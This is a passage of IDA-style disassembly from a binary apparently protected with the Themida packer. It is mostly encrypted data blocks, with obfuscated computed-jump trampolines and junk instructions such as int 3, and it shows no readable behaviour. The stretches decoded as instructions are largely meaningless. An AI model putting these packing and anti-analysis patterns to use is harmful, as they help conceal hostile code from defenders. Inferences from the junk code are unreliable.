		dd 0E4FCD106h, 0FC06C425h, 0CBBEA067h, 94238A77h, 30E425C8h
		dd 7DD73C34h, 147AE2ECh, 39E9FEE2h, 0F398233Dh,	612FF6ADh
		dd 668AD5DEh, 4DF69591h, 6E15A418h, 0A61E4D39h,	9B94233Bh
		dd 1BC46D04h, 3CE372E6h, 0C37C1B07h, 7E47D585h,	6185F8E3h
		dd 5E80D8B5h, 234717ABh, 34D8EF94h, 27FCD1F5h, 0CD02A988h
		dd 0FA834E11h, 7163397Bh, 0A9000001h, 1D15BD5Ch, 0C2FFA4BDh
		dd 24C84095h, 4E7B2E40h, 7667FCC5h, 0C521A188h,	69C5943Ch
		dd 0B8928E94h, 0C55FE3A6h, 0BBB7943Ch, 0C558EAA1h, 60BC943Ch
		dd 43FC9B8Bh, 33522805h, 0A6791Bh, 9C5A1C5h, 0E1B3637h
		dd 493C1344h, 0CB00A734h, 0D207C0D7h, 0BB5A691Eh, 12E49C1Fh
		dd 293E225Bh, 8C4F9B2h,	99823536h, 6A8AF6DDh, 0DF93AEBh
		dd 824B5429h, 62397B30h, 50h, 1AC15CA8h, 7CD94940h, 0F2DBEDCCh
		dd 0F2B5C9A6h, 0A16176EFh, 1C550CCFh, 0A51D0C68h, 41EDCC54h
		dd 461501E5h, 0EDCC54FCh, 0CC8322E1h, 0D9D0AA31h, 6DCC5449h
		dd 633DF16Dh, 54348E7Dh, 54D06DCCh, 0B2CA77h, 0F5F60000h
		dd 0DF00DE57h, 0C4607D5Ch, 110296D7h, 1F6D3C59h, 22471D10h
		dd 491E422Fh, 0ACBE1DBCh, 2A3F782Dh, 81432856h,	7D16DE40h
		dd 0A1DA8F46h, 94BADFCCh, 0D04C67FCh, 0C9FEA524h, 467B24B7h
		dd 3D01D65Ah, 50C705BEh, 0ACE307AFh, 0EAB16581h, 943CBD5Fh
		dd 8D942B14h, 0D82DA1D6h, 0C9C09A41h, 9E046E43h, 0DCFBA783h
		dd 2DCEE23h, 1416BB07h,	0BE645B9Eh, 9C8A5F83h, 630F48FDh
		dd 9A86BB64h, 9B21C0DFh, 64FB9A29h, 8A748655h, 0A04818CFh
		dd 0B3708D69h, 942CBB35h, 3E7B30ABh, 9F9CE52h, 0B99EDF92h
		dd 10167D45h, 0B8745099h, 71B253E6h, 0CCA185h, 4C1EBD5Ch
		dd 0F4D1DF5Dh, 0F09BC567h, 942BD052h, 0E1A1B6B2h, 51FA9185h
		dd 7219A01Ch, 64F7493Dh, 0BA7186BBh, 0F660BB5Eh, 4CD56C53h
		dd 6BEA5E93h, 0F4937FB4h, 745E124Fh, 1DA5647Ah,	32B66CECh
		dd 0D34F437Ah, 992A3F1Bh, 4F843BFAh, 6EA35CDBh,	31182h
		dd 5F6B0000h, 3D80326Dh, 64995249h, 3A7519B0h, 5D9E4F46h
		dd 3F7E32A9h, 51903453h, 448126A5h, 5B943950h, 417830A7h
		dd 8952CF55h, 4C281E2h,	56000000h, 4BEh, 5EF22900h, 5C241487h
		dd 7D3368h, 24048900h, 81E28952h, 4C2h,	4EA8300h, 5C241487h
		dd 68242C89h, 61854FAh,	8324048Bh, 0A06804C4h, 89000006h
		dd 4832424h, 515D0424h,	8B9h, 52E90100h, 1189C289h, 2C8B595Ah
		dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 2434FF5Ch
		dd 4C48158h, 0E9000000h, 0FFF8263Ch, 6226165Ch
		db 32h,	69h
; ---------------------------------------------------------------------------


loc_5D0EA2:				; CODE XREF: Themida_:005D0960j
		mov	eax, 61859B7h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 61h
		dd 75620362h, 0C6274EC9h, 813A57BEh, 521F334Ah,	9A124F4Eh
		dd 5123F475h, 73727A96h, 0B172DAFFh, 276A7803h,	0AC096F8Bh
		dd 0FD29B2E2h, 781E4640h, 871DA668h, 566FFF26h,	5620D338h
		dd 97755D2Dh, 2E2D5CECh, 552ECFB0h, 0E9539356h,	24h, 171E1911h
		dd 8 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5D146A
; ---------------------------------------------------------------------------
		db 78h,	0D6h, 93h
		dd 0B1E8A017h, 8EC77EFDh, 0ABE89B1Ah, 0C504A82Fh, 75E72309h
		dd 0A11894D3h, 7CFBAFF0h, 48CF8BC6h, 0FBEE6A9Fh, 26B80A01h
		dd 7F5C6BD4h, 0DD468469h, 7A26EE11h, 4D7C75Dh, 9DD68B5Bh
		dd 94698DE9h, 37EB20C7h, 5D12ECA0h, 0D4F07420h,	9D25E4FAh
		dd 796DCC7Ch, 8456E0FDh, 2DD90EB5h, 7CEA5853h, 0E0A6DCCh
		dd 0E59E1532h, 691B9EB0h, 0DDFA762Ah, 0CC01AA21h, 65DDCCB2h
		dd 816DCC7Ch, 0BFD6C8A5h, 58933709h, 0CEF5887Ch, 35EE37h
		dd 0DE19CD4Ch, 0FC37EB6Ah, 4E09108h, 0C2802B60h, 226DCC7Ch
		dd 0F8AB2A46h, 876BC7BBh, 0D9637875h, 5ED902F8h, 780B9D89h
		dd 77B258D9h, 568B34C3h, 6042FBAAh, 0F6C56DCCh,	1A579A5Fh
		dd 5437336Bh, 95000000h, 50447932h, 6DA65BDEh, 7C2D9390h
		dd 0CDEE6DCCh, 365AB336h, 13A336Bh, 90000000h, 4F437A32h
		dd 0AD599038h, 483C792Eh, 0AE629D51h, 4A367517h, 0C60AA958h
		dd 0EC35CCF3h, 0BA41FD34h, 7E60DC11h, 0AF0C164Dh, 53CFC3F8h
		dd 0D6138666h, 0B96DAE5Fh, 3204A0BDh, 34533F7Eh, 0ECA1558Ch
		dd 57F938D7h, 6E15A418h, 974E4D39h, 1E51EC3h, 6DEC4415h
		dd 0D76C81B6h, 661B9E38h, 0E0FD792Dh, 6B33E617h, 71C633h
		dd 0D7040000h, 0E2866004h, 4FD3BFA3h, 0D00FC17Ah, 0C700A524h
		dd 60FFA0DBh, 5CD00FC1h, 3C14B782h, 7C284C85h, 0B458E3F8h
		dd 650A8175h, 0DE835628h, 5875F1A5h, 0B883FDA6h, 4126DA0Fh
		dd 8B1D903Ah, 0E4F9DD79h, 7C45A03Fh, 5C336AA0h,	62h, 0A47E32AEh
		dd 50D4C001h, 65098074h, 9C83762Ah, 29681C05h, 26B5CBB5h
		dd 0EC564580h, 86DCC7Ch, 0D7754F2Ch, 74206104h,	0A860DBF0h
		dd 7C32907Bh, 56D26DCCh, 66DF867Ah, 0A96DCC7Ch,	4002A9D7h
		dd 0A46DCC7Ch, 173B7C2Dh, 27C26142h, 336B35E6h,	0DC6h
		dd 0DA93B800h, 744E751h, 0EDDB73E2h, 7B323410h,	2DC4E42h
		dd 7C952DDCh, 0F5716DCCh, 0CC7CBC06h, 2DC586Dh,	0CC7CBB07h
		dd 0EAFF5B6Dh, 9185BA71h, 4CD56C07h, 0FEE05C95h, 4C0313CDh
		dd 2439C523h, 1A032C1h,	0F27E560Fh, 41E802DEh, 67FC3DD8h
		dd 0BB7728Ch, 24943C4Dh, 0D551457Ch, 0E68A411Dh, 54D0D2A7h
		dd 4D8229A0h, 2C610A91h, 0A8E38752h, 0A36378FCh, 3C4D4CF4h
		dd 83220194h, 9AB4E9A2h, 0BD1F9AB1h, 76174DAEh,	1E54135h
		dd 3CE372ECh, 9A211B07h, 69CDB9F4h, 0F520C794h,	1AA2200Bh
		dd 0E642943Ch, 3C1A833Fh, 0B86C6394h, 0CDA98D79h, 2A9D7A9h
		dd 943C1A40h, 3A45256Fh, 9F4F8415h, 51458428h, 2CDFF1D5h
		dd 943CCA96h, 29D5F26Eh, 71B04F74h, 0F06B85BAh,	73EB0039h
		dd 7A8065A8h, 1254539h,	5C870000h, 5D4C1EBDh, 67FC266Ch
		dd 12B38658h, 5A4125D1h, 9423AAE8h, 473B100Ch, 0DE277DE2h
		dd 0D3ADB2Ah, 13138A48h, 792D499Eh, 0B874A962h,	11BA8A41h
		dd 8D0CF8DCh, 98F5A1D6h, 1EC56C03h, 0BB8A38F3h,	0EE6A9423h
		dd 478456D2h, 0D3ACDFA7h, 4564890Bh, 0D5C31276h, 0F6B7C09Dh
		dd 66397BEEh, 0B45A2ED3h, 0CDA98D79h, 0C8805DD9h, 27h
		dd 1AC15C42h, 7CD94940h, 21FDEDCCh, 7C9C2675h, 8241EDCCh
		dd 8A516CE3h, 7C29B970h, 51CD6DCCh, 916CDDh, 5CE00000h
		dd 0A6DD83BDh, 90F9B0CAh, 5467FC0Ch, 93C37F2Ah,	47239423h
		dd 0F47032h, 6BE3D2Eh, 0DDCA8399h, 578C3300h, 5ED4F9E3h
		dd 1025F984h, 0FAB12A3Fh, 574B822Ah, 0E8E5F7DBh, 1587D7D4h
		dd 88765331h, 230C66E1h, 0AF46DD94h, 34A8DD86h,	0CD75344Ah
		dd 2994230Ch, 0CEC2FBB2h, 0C596E52h, 2DDCEEEDh,	9E1BA600h
		dd 576E22FEh, 7F617BB0h, 1B69368Ch, 0D352CE9Eh,	28D6F330h
		dd 0EF6C03BEh, 620EEAE8h, 0EFA36D4Dh, 2512F9D3h, 0E19423C0h
		dd 5C43C985h, 5D4C1EBDh, 67F4D670h, 0FD3AED6Ch,	4A502D09h
		dd 0FCA322CEh, 0DB8413C7h, 0B2ABFAA6h, 69E52153h, 0D17ABB5Ah
		dd 5A506F93h, 144D7AB3h, 0B02C480Eh, 1B580BCEh,	99CE753Eh
		dd 595A93EDh, 13A6FAB2h, 337931B5h, 54D01406h, 0D6F334D5h
		dd 19D2AA5Dh, 6BEE00E4h, 8BE7DB6h, 805DD9CDh, 9F1A147Eh
		dd 99AAFECh, 47E9706Ah,	43181C08h, 1E9ACF78h, 0C7BBF097h
		dd 0CDEh, 215F2E00h, 2C2A2F2Ch,	0ADCAE896h, 3D803217h
		dd 64995249h, 3A7519B0h, 5D9E4F46h, 3F7E32A9h, 51903453h
		dd 448126A5h, 5B943950h, 417830A7h, 1468CF55h, 8900002Ch
		dd 6E68240Ch, 8900007Bh, 6A68243Ch, 89000003h, 3CBF242Ch
		dd 525D2714h, 230923BAh, 81D2F767h, 8D6CCDC2h, 95C28173h
		dd 291F44C7h, 0F74F5AD7h, 3E7C1DFh, 587FEF81h, 0EF8165CDh
		dd 85B04DFh, 4EC81h, 24890000h,	24048124h, 4, 4EC835Dh
		dd 0BA241489h, 8, 3A89EA01h, 242C8B5Ah,	81E18951h, 4C1h
		dd 4C18300h, 5C240C87h,	52243C8Bh, 0C281E289h, 4, 8704C283h
		dd 0E95C2414h, 0FFF82070h
; ---------------------------------------------------------------------------
		aam	62h


loc_5D146A:				; CODE XREF: Themida_:005D0F20j
		mov	eax, 6185F6Bh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 91h
		dd 9B16540Bh, 0E1012CD7h, 0AA3AEACBh, 0C823F196h, 5B33D13Fh
		dd 41680ACAh, 0E423362Bh, 4D1466B8h, 3C146728h,	0AE0ABA3Ch
		dd 6336C7C3h, 0A21373E0h, 0F503C020h, 8A5C8A2Ah, 10510372h
		dd 2201F787h, 0C534404Bh, 780A0D9Ah, 0BF41C910h, 5068961Eh
		dd 0E8762646h, 2D0C19C1h, 0AB687ADCh, 970E670Bh, 2D68A9CDh
		dd 0E81018B3h, 0Eh, 0B10CE1A5h,	0BF03B48Ah, 0C11A4B35h
		dd 8A0F15C6h, 5, 2C5624BAh, 9E95B40h, 0ED000000h, 393E89D9h
		dd 58EDDDC6h, 5EAEC381h, 0C0810000h, 58505A5Bh,	0CB8AF62Bh
		dd 801E34FFh, 665F47C5h, 0EF81C38Bh, 1ADF19B6h,	0C781D38Ah
		dd 76E0950Eh, 81D1B70Fh, 1818BBEFh, 0F8E0F3Dh, 0E9000000h
		dd 0Ah,	8EDF2232h, 0ACABA4B0h, 3C89D741h, 81D48033h, 8304F680h
		dd 0C88B04EEh, 0A1E8FE81h, 850FFFFFh, 0FFFFFFB0h, 9E8h
		dd 23400F00h, 9643EEF7h, 0BF0F8281h, 8D8D59C8h,	61861E1h
		dd 9F58D89h, 0F9F90610h, 231985C7h, 6E100610h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 9C7101C3h, 8C7FF3C9h, 65B58B01h, 0C7061009h,	1022C185h
		dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 5790DCB1h, 95DF8193h, 66569EEAh
		dd 0B5FFF38Bh, 6100865h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 0E2C35646h, 8E955D1h,	0FA000000h, 9EE43CE3h
		dd 0FFB8CDF1h, 102DB995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 78917644h
		dd 0FF006AABh, 1031C995h, 0EBC08B06h, 0AB4B8459h, 799797C5h
		dd 0C0E7AF96h, 826DA65Dh, 39468A1Bh, 450697FEh,	79F64E12h
		dd 3E140D67h, 0E182B9Eh, 0F16E765h, 6FFEC162h, 0C541CA27h
		dd 3C8501C5h, 0C13CEEA6h, 0A9F39310h, 1E5E4074h, 5BF1E435h
		dd 0AA0EA38h, 380EF58Eh, 0A91EAAA7h, 976F6E89h,	6C4E0841h
		dd 8D8D30F3h, 61862F4h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 75C35646h, 850BDB8Dh,	6100159h, 9F58D89h
		dd 8D290610h, 6101069h,	231985C7h, 5EF80610h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 9509BAC3h, 6102361h,	31A59D89h, 85C70610h, 61022C1h
		dd 0
; ---------------------------------------------------------------------------
		sub	[ebp+6102D01h],	edi
		push	dword ptr [ebp+6102821h]
		cmc
		call	dword ptr [ebp+6102DB9h]
		push	0
		push	eax
		call	sub_5D173A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D173A	proc near		; CODE XREF: Themida_:005D1732p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5D173A	endp

; ---------------------------------------------------------------------------
		dw 57E5h
		dd 0DB19B88Eh, 95895671h, 6100CA9h, 95FF006Ah, 61031C9h
		dd 4AEBC08Bh, 7A3F60F6h, 0C9F9FA8h, 0D0F64717h,	6DD4B708h
		dd 9187C9F8h, 87FC9A7Fh, 8002FEAAh, 7F02F7C7h, 0CB0C33C5h
		dd 0E6CABA60h, 88467B3Bh, 7B4077ECh, 0D9A7FDD5h, 7ADB0CA3h
		dd 0A725E15Ch, 0D3AD3B1h, 113C9EA9h, 6EF9FC94h,	11E8C59Fh
		dd 0B8000000h, 9D307FC7h, 5924EF4Eh, 6DCDFC0h, 9A99E8Ch
		dd 1CA59D8Bh, 0F580610h, 68Bh, 359D8B00h, 81061016h, 6292C0h
		dd 81B58B00h, 0B9061010h, 41B7B827h, 0A04BF181h, 6E841B7h
		dd 90000000h, 0DFB64522h, 0ED9D8BB2h, 5E061027h, 0F781388Bh
		dd 48A44C27h, 20E1958Bh, 0EF810610h, 73E785CBh,	30E68166h
		dd 7DC78189h, 0F5634EC7h, 0C7EE8157h, 8F0A2C71h, 59958900h
		dd 81061021h, 0CBD1E4E8h, 6E87Bh, 16370000h, 31677D9Fh
		dd 15D58D29h, 815A0610h, 0CBD1E0C0h, 68D0F7Bh, 8B000000h
		dd 1010D59Dh, 1E98306h,	1C850Fh, 0B5890000h, 61001EDh
		dd 2CE9h, 0C1284E00h, 20B84F44h, 0DD983E86h, 6261455Fh
		dd 8B663713h, 0FF7AE9D8h, 0D44AFFFFh, 43BFE176h, 0F2A397B1h
		dd 0DFA3B296h, 0E91F3959h, 0FF8D8D91h, 0E9061864h, 9, 9805FCE0h
		dd 2703DCCAh, 0F58D899Eh, 6A061009h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8A22C356h
		dd 1985C7FCh, 0E0061023h, 6A00005Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0F8EBC352h
		dd 11E8EAA7h, 0B2000000h, 0B491BAA1h, 4C2E9CE0h, 6A42139Fh
		dd 8EADAB33h, 167D9D89h, 0C75E0610h, 1022C185h,	6, 3EF8000h
		dd 30C5B5FFh, 1BB70610h, 2DB995FFh, 6A0610h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0F37237C3h
		dd 705CDB7Eh, 8BBF401Bh, 100E9D9Dh, 0C5958906h,	6A06101Eh
		dd 0C995FF00h
; ---------------------------------------------------------------------------
		xor	[eax], edx


loc_5D196A:				; DATA XREF: Themida_:0054BE60o
		push	es
		mov	eax, eax
		jmp	short loc_5D19AB
; ---------------------------------------------------------------------------
		db 6Bh
		dd 11FE1D6h, 0C8B9595Fh, 0C5204D80h, 5396B57Eh,	0F3A82E80h
		dd 799249ACh, 60C4E2FBh, 0CCE004FDh, 0C53ADBh, 2A90B951h
		dd 0C9B2F402h, 0D73758B9h, 0B3217F3Eh, 89B069FEh
		db 57h,	0C2h, 54h
; ---------------------------------------------------------------------------


loc_5D19AB:				; CODE XREF: Themida_:005D196Dj
		jmp	short $+2
		jmp	loc_5D1D4C
; ---------------------------------------------------------------------------
		jmp	short loc_5D19EF
; ---------------------------------------------------------------------------
		clc
		inc	esp
		mov	ch, 0Fh
		fsub	dword ptr [ebp+edx*8+30h]
		test	dword ptr [ebx-4Ch], 0DF56D20Fh
		sub	eax, 304C3AEEh
		retn	0CF0Eh
; ---------------------------------------------------------------------------
		db 5Bh
		dd 74E829DCh, 520641E5h, 73E71CC3h, 3D858478h, 0D96BD419h
		dd 7A3250DCh, 0CBB58743h, 0CC7C62E0h
		db 6Dh,	82h, 0A6h
; ---------------------------------------------------------------------------


loc_5D19EF:				; CODE XREF: Themida_:005D19B2j
		ror	dword ptr [edx], 1
		arpl	[edi+0BBFA3D8h], cx
		mov	edi, ss
		call	far ptr	7302h:0B6F5971Eh
		rcl	dword ptr [edx-521160EAh], 1
		shr	dword ptr [ebp+493D782Eh], cl
		in	eax, dx
		test	ds:[esp+ecx*8+6Dh], bh
		pusha
		add	al, 0E7h
		outsd
		call	near ptr 0C4B0215Dh
		sbb	esp, esi
		adc	al, 0EAh
		aas
		cmp	dword ptr [esp+ecx*8+6Dh], 63h
		adc	[edx], ebx
		test	al, 7Ch
		int	3		; Trap to Debugger
		insd
		dec	esp
		sal	ah, 1
		xlat
		pop	edi
		test	al, 0B5h
		out	dx, eax
		mul	dword ptr [edi-50h]
		sub	bl, [edx]
		jno	short locret_5D1A6D
		add	al, 14h
		push	ebx
		dec	ebp
		adc	[ebx], dl
		das
		inc	ebx
		inc	esp
		lahf
		bound	ebp, [esi+3C758FBCh]
		jmp	far ptr	746h:0EA61A607h
; ---------------------------------------------------------------------------
		db 0F2h, 3Bh, 45h
		dd 0E195D076h, 0EA0647EAh, 64A1460Dh, 5F7C9BE8h, 1899608Dh
		dd 495F12BEh
; ---------------------------------------------------------------------------
		inc	esi

locret_5D1A6D:				; CODE XREF: Themida_:005D1A38j
		retn	3522h
; ---------------------------------------------------------------------------
		dd 863DB384h, 80587551h, 14D96089h, 564A269Eh, 14B8B70Fh
		dd 861D569Eh, 92718A63h, 0D76A3Fh, 57940000h, 9691F5CAh
		dd 2FF5D25Ch, 533F7E32h, 1F0AF4C8h, 6DCC7CA3h, 0EE12E743h
		dd 0CC7C933Bh, 3EF6B6Dh, 32A6DB84h, 0DBC7FCA3h,	0F20CCFE6h
		dd 0FC1B5A37h, 34E03C67h, 0CCB8EF95h, 0A34616CDh, 0B5927E62h
		dd 17C10FA6h, 8A03419h,	0D5C57BBh, 6DB44BF0h, 78CD81B6h
		dd 3D858461h, 0D99423CBh, 977FBC54h, 5E16183h, 8F1C0FE1h
		dd 179E13B6h, 0BC70671Bh, 5CDFC17Dh, 0C48F6CA5h, 0DE0FE120h
		dd 2EE5876Eh, 69153286h, 805A819Ch, 0FDDA15B9h,	0B3E230DBh
		dd 0C6A29E13h, 0B526AD12h, 0C6D3F09Bh, 4A119423h, 919166A7h
		dd 46EAE195h, 20C45307h, 3DC035E1h, 580DCC9Eh, 73364A1Fh
		dd 8003BD83h, 0CC4BFF5Bh, 7B65D918h, 0A357B452h, 8F6193FBh
		dd 392269Ch, 8562BE80h,	1EBD5CBFh, 0C245D4Ch, 0CBC267FCh
		dd 0E02DE15h, 4C00D077h, 391D190Dh, 878DD985h, 19E94246h
		dd 866309F9h, 3CF7E4F7h, 23F1338Bh, 265B0494h, 5B11C8B2h
		dd 0D7F47024h, 826EA35Ch, 55275C03h, 0C3A8DD86h, 549328C4h
		dd 2FEF0C98h, 8BAA495Ah, 702B9FD4h, 397B3C9Dh, 1C7Dh, 0BD5CCF00h
		dd 345D4C1Eh, 0D267FC1Bh, 742BAA56h, 0D0C4FDA4h, 4BBC7054h
		dd 30h,	407D32C1h, 504DA54h, 6DCC7CBDh,	7CCE7437h, 4A266DCCh
		dd 3A01D652h, 5C825C91h, 0CC7C15ADh, 32DAF16Dh,	0C4F2D7FBh
		dd 702793BFh, 1096203Dh, 2E407D32h, 8FBCF7ABh, 0D1DE1A79h
		dd 0B693A2h, 0D678330Dh, 2E6DCCA9h, 0A0473E32h,	2EE217D0h
		dd 0A9F54D3Ch, 15116DCCh, 77611531h, 46FC25BCh,	2DDCE00Bh
		dd 6DCCA989h, 58532D53h, 6DCCA9EAh, 0DB670E0Ah,	3B6DCCA9h
		dd 45D5BD6h, 5571FEEBh,	23E33068h, 0E2F72D71h, 7F2A4420h
		dd 6DCC21C3h, 4934723h,	0C8B2265Bh, 457E23B6h, 9C26D551h
		dd 786DCC21h, 0A53CDFFCh, 108Ah, 8023B600h, 329E2643h
		dd 39504479h, 87E15D92h, 3D8032B5h, 64995249h, 3A7519B0h
		dd 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h, 5B943950h
		dd 417830A7h, 8953CF55h, 4C381E3h, 83000000h, 1C8704EBh
		dd 24248B24h, 186068h, 24048900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	edi
		push	57A3DDCh
		pop	edi
		shr	edi, 8
		or	edi, 23B261E0h
		dec	edi
		push	ecx
		mov	ecx, 25AF1EBBh
		xor	edi, ecx
		pop	ecx
		mov	eax, edi
		pop	edi
		push	3AC2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ebx
		push	edi
		mov	edi, eax
		mov	ebx, edi
		pop	edi
		mov	[esi+8], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		dd 8AE9764Ch, 0FD6DC3DCh, 0A89FDB4Fh
; ---------------------------------------------------------------------------


loc_5D1D4C:				; CODE XREF: Themida_:005D19ADj
		mov	eax, 6186857h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0C9h, 0FDh, 0A3h
		dd 3492662Bh, 0D3E14A2Ah, 0D0DB0C77h, 0CA8D506Eh, 43361F74h
		dd 7590A67Dh, 0EDB4DF26h, 83146237h, 0B2EEF111h, 6605695Bh
		dd 5045917Ah, 63450943h, 62A0141Ch, 622FDA67h, 291D9A6Bh
		dd 78E494Eh, 0BC740040h, 390C3525h, 0C60EB63Bh,	0D754CF2Eh
		dd 370E4805h, 54A6B705h, 126A941Eh, 107F0A6Eh, 0D25D4A30h
		dd 2CF1868h, 0BF961713h, 0C5DC8079h, 58C28B52h,	13E9h
		dd 91666E00h, 0CBDED948h, 9D9E585Ah, 0BDE20A1Ch, 0FD5BD465h
		dd 11E9EC8Ah, 6000000h,	833F7FDCh, 6269B089h, 0DC13018Bh
		dd 0B0E566FAh, 10E8h, 0B8EA6000h, 0BF795E35h, 223AE6EBh
		dd 0ABF33557h, 0CFBF0FEDh, 32E1815Ah, 0F22D0BBh, 0A87h
		dd 5E900h, 26D90000h, 0B6339C73h, 0CE96Bh, 271F0000h, 0B9A2BFFAh
		dd 8B482383h, 0BE901B7h, 0E4000000h, 96AF9FB8h,	2E61D955h
		dd 0BA6676BFh, 60609EC2h, 81666160h, 610599CEh,	61DEB70Fh
		dd 0E15B866h, 11E9h, 45E1FC00h,	5B63BF3h, 0A06C15FAh, 2DABB33Ch
		dd 9E8025Ch, 0C0000000h, 0D735A350h, 59C5CDACh,	58B0Fh
		dd 81660000h, 5EB374EAh, 0EEB3C181h, 5CB9064Dh,	0E9736CE5h
		dd 5, 988E779Ah, 0C8BF0F0Dh, 10E9CC8Ah,	53000000h, 0C7A964E7h
		dd 0C1B62F16h, 6B88DBCAh, 66BB167Bh, 0FF9FB8Bh,	0BF0FDFB7h
		dd 0E9FC8AD0h, 12h, 6D64EBF5h, 725AA548h, 7769AF18h, 8BC15997h
		dd 13E96E9Eh, 35000000h, 63C5AF24h, 71D07543h, 52EA32BDh
		dd 57610035h, 8166766Ah, 0BE1AFADAh, 0C9A0E11h,	5840Fh
		dd 81660000h, 0F3713E2h, 385h, 0C6B70F00h, 0BE50FA8Ah
		dd 786C5592h, 8166F95Eh, 601801F1h, 61CF8B66h, 6E8h, 0E23BFF00h
		dd 0F55A4984h, 0F9BF0F5Bh, 81F3B70Fh, 559C5CFh,	6F4EB978h
		dd 8B522AD1h, 9E95FDEh,	96000000h, 67C918BCh, 4D8CEB9Dh
		dd 0BE9h, 0F8E7D700h, 0CD6BBAE3h, 0A906F31Ah, 27DA5CBAh
		dd 0F6B70F08h, 0EF818AB1h, 42FACFF1h, 0A6C18166h, 6686B6C3h
		dd 0F8E63CBFh, 1810Fh, 0E8F90000h, 0Ch,	60FDE4F1h, 0A888A2BCh
		dd 66115E5Dh, 8E9h, 0E8058C00h,	0BDEC4E88h, 0C480591Fh
		dd 6800F58h, 81000000h,	0F84632E3h, 38A0F1Eh, 0F000000h
		dd 80B6F3B7h, 0A850Fh, 5E90000h, 9D000000h, 0F9F152AEh
		dd 0A6BA66FCh, 0AAB6BBBEh, 0BF0F5B0Bh, 11E8D0h,	8A9C0000h
		dd 0DD22B8B1h, 0F4511591h, 184982DBh, 664273CCh, 0B65FC88Bh
		dd 0C5C081C2h, 8148C1BFh, 0E998DFDFh, 10E839h, 0C2D70000h
		dd 4AB7CED4h, 0C209B7A3h, 0D52D9A06h, 11BE993Fh, 58160CFCh
		dd 8FC98166h, 0CA816616h, 0D2815ADBh, 30E17E0Dh, 0E9F0B70Fh
		dd 11h,	0BA8E8909h, 0DEFAE468h,	9D50BA26h, 0F685232Eh
		dd 0D6816686h, 11E9B034h, 0C2000000h, 5F37D00Bh, 2AE769FFh
		dd 6952360Fh, 3CD67CFCh, 2870Fh, 0C38B0000h, 0CE9h, 0C4D28500h
		dd 0B2F2A750h, 45BD8207h, 19870F87h, 0E8000000h, 13h, 0F888D2C1h
		dd 0D19086DAh, 0A75889DBh, 0C4542A8Ah, 5B0727E2h, 18C0Fh
		dd 81F90000h, 0D964F6E8h, 28810F22h, 0E8000000h, 12h, 0B9794085h
		dd 4CFA0228h, 2F31EA0Bh, 0F39DBFDBh, 0BE909F3h,	37000000h
		dd 0F890F7E5h, 2DE7B292h, 0E85E37A0h, 0Ch, 5DABC372h, 4538CC6Fh
		dd 77062954h, 0BE616060h, 4D817978h, 0BF0F5861h, 61C381D7h
		dd 800D8374h, 0F4808EE3h, 9E95Ch, 342F0000h, 785ED287h
		dd 80E1286Eh, 81609FC4h, 0D78E87C3h, 7E96103h, 88000000h
		dd 0DE740FD8h, 0BB66C9B8h, 840F89A3h, 2, 0F78BE88Ah, 2810Fh
		dd 0DA8B0000h, 0FC3B70Fh, 8166FBBFh, 0F06D5EEh,	820FD7B7h
		dd 4, 0C652BA66h, 9C6ABBF9h, 10E86195h,	3C000000h, 0A456A54Ch
		dd 0A9147601h, 860FFA17h, 815455B3h, 4D0B13E1h,	0B70F5B64h
		dd 1A1CBAC8h, 0DA8A0248h, 66C7BF0Fh, 0E830D181h, 12E9h
		dd 3036BD00h, 0AB13564Ah, 5A39DACDh, 0B0FFF05Eh, 0E91A22CFh
		dd 12h,	9240181Dh, 516132EAh, 99616A28h, 58C6FA3Ch, 0C1B812BAh
		dd 0F39770Ah, 981h, 3820F00h, 80000000h, 0ADBB0AE6h, 0F853A8C9h
		dd 5E9DE8Bh, 0F5000000h, 0DE750940h, 58C0Fh, 81660000h
		dd 52149FDFh, 0AE9h, 0AB425A00h, 148DA412h, 5EFBEDBEh
		dd 0D1B70FF5h, 97B25160h, 60E8815Fh, 616CC5CFh,	0BF0FE38Ah
		dd 0BAD281DFh, 8A7AC26Ch, 0C78BFCDDh, 0ABADEBAh, 0D18B6641h
		dd 0F95641B9h, 0F0D68133h, 664E5975h, 7D0CC081h, 0C8C0Fh
		dd 7E90000h, 18000000h,	8A00B82Fh, 0E18A4B3Dh, 6E9D08Bh
		dd 43000000h, 0EA6C57E3h, 38A0F0Ch, 66000000h, 0DC80CB8Bh
		dd 0EE8E8h, 0AB6D0000h,	92720457h, 309C82F4h, 5E02E430h
		dd 5AF38A50h, 0FE8B6658h, 0DE85857h, 0FE000000h, 0AF7E5FF0h
		dd 5BFF01BFh, 743141FEh, 85CE8166h, 0F515E1Ah, 0D89h, 8E900h
		dd 0C8C90000h, 0A4BFEC30h, 0B15A5398h, 5BB866FFh, 0B3D6B3F6h
		dd 0CE993h, 27A60000h, 26FB7DCBh, 0DB50E87Dh, 0E8521B3Eh
